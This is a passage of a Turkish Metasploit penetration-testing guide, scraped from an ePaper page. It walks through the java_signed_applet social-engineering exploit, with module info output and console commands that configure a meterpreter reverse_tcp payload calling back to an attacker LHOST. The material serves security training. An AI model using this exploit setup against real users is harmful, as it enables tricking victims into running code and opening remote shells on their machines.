Metasploit framework-Kullanim rehberi 0.8

Recommendations

Info

Metasploit Framework ile Sistem Sızma Testleri Aralık 2012 Bir diğer platform bağımsız web tarayıcı exploit'i ise imzalı Java applet'inin kullanıcıya çalıştırtılmasıdır. Çalıştırılan sahte web servisi ile kullanıcıya güvenilmeyen imzaya sahip bir Java applet'i sunulmakta ve çalıştırması istenmektedir. Eğer kullanıcı karşısına çıkan Java sanal makinesinin güvenilmeyen sertifika uyarısını okumaz ve kodu çalıştırırsa sistem ele geçirilebilmektedir. Bu noktada denetmen, web tarayıcılarının güvendiği bir sertifikaya sahip ise imzalama için SigningCert, SigningKey ve SigningKeyPass değişkenlerini tanımlayabilir. msf > use exploit/multi/browser/java_signed_applet msf exploit(java_signed_applet) > info Name: Java Signed Applet Social Engineering Code Execution Module: exploit/multi/browser/java_signed_applet Version: 15518 Platform: Java, Windows, OSX, Linux, Solaris Privileged: No License: Metasploit Framework License (BSD) Rank: Excellent Provided by: natron Available targets: Id Name -- ---- 0 Generic (Java Payload) 1 Windows x86 (Native Payload) 2 Linux x86 (Native Payload) 3 Mac OS X PPC (Native Payload) 4 Mac OS X x86 (Native Payload) Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- APPLETNAME SiteLoader yes The main applet's class name. CERTCN SiteLoader yes The CN= value for the certificate. Cannot contain ',' or '/' SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) SigningCert no Path to a signing certificate in PEM or PKCS12 (.pfx) format SigningKey no Path to a signing key in PEM format GamaSEC Bilgi Güvenliği Denetim ve Danışmanlık Servisleri Sayfa 132
Metasploit Framework ile Sistem Sızma Testleri Aralık 2012 SigningKeyPass no Password for signing key (required if SigningCert is a .pfx) URIPATH no The URI to use for this exploit (default is random) Payload information: Avoid: 0 characters Description: This exploit dynamically creates a .jar file via the Msf::Exploit::Java mixin, then signs the it. The resulting signed applet is presented to the victim via a web page with an applet tag. The victim's JVM will pop a dialog asking if they trust the signed applet. On older versions the dialog will display the value of CERTCN in the "Publisher" line. Newer JVMs display "UNKNOWN" when the signature is not trusted (i.e., it's not signed by a trusted CA). The SigningCert option allows you to provide a trusted code signing cert, the values in which will override CERTCN. If SigningCert is not given, a randomly generated self-signed cert will be used. Either way, once the user clicks "run", the applet executes with full user permissions. References: http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-valsmithmetaphish.pdf http://www.spikezilla-software.com/blog/?p=21 msf exploit(java_signed_applet) > set SRVPORT 80 SRVPORT => 80 msf exploit(java_signed_applet) > set URIPATH / URIPATH => / msf exploit(java_signed_applet) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(java_signed_applet) > set LHOST 192.168.1.11 LHOST => 192.168.1.11 msf exploit(java_signed_applet) > show options Module options (exploit/multi/browser/java_signed_applet): Name Current Setting Required Description ---- --------------- -------- ----------- APPLETNAME SiteLoader yes The main applet's class name. CERTCN SiteLoader yes The CN= value for the certificate. Cannot contain ',' or '/' SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 80 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) SSLVersion SSL3 no Specify the version of SSL that should be GamaSEC Bilgi Güvenliği Denetim ve Danışmanlık Servisleri Sayfa 133
Page 1 and 2:
Metasploit Framework Giriş Seviyes
Page 3 and 4:
Metasploit Framework ile Sistem Sı
Page 5 and 6:
Page 7 and 8:
Page 9 and 10:
Page 11 and 12:
Page 13 and 14:
Page 15 and 16:
Page 17 and 18:
Page 19 and 20:
Page 21 and 22:
Page 23 and 24:
Page 25 and 26:
Page 27 and 28:
Page 29 and 30:
Page 31 and 32:
Page 33 and 34:
Page 35 and 36:
Page 37 and 38:
Page 39 and 40:
Page 41 and 42:
Page 43 and 44:
Page 45 and 46:
Page 47 and 48:
Page 49 and 50:
Page 51 and 52:
Page 53 and 54:
Page 55 and 56:
Page 57 and 58:
Page 59 and 60:
Page 61 and 62:
Page 63 and 64:
Page 65 and 66:
Page 67 and 68:
Page 69 and 70:
Page 71 and 72:
Page 73 and 74:
Page 75 and 76:
Page 77 and 78:
Page 79 and 80:
Page 81 and 82: Metasploit Framework ile Sistem Sı
Page 131: Metasploit Framework ile Sistem Sı
Page 183 and 184:
Page 185 and 186:
Page 187 and 188:
Page 189 and 190:
Page 191 and 192:
Page 193 and 194:
Page 195 and 196:
Page 197 and 198:
Page 199:
show all

Metasploit framework-Kullanim rehberi 0.8

Create successful ePaper yourself

Delete template?

Save as template?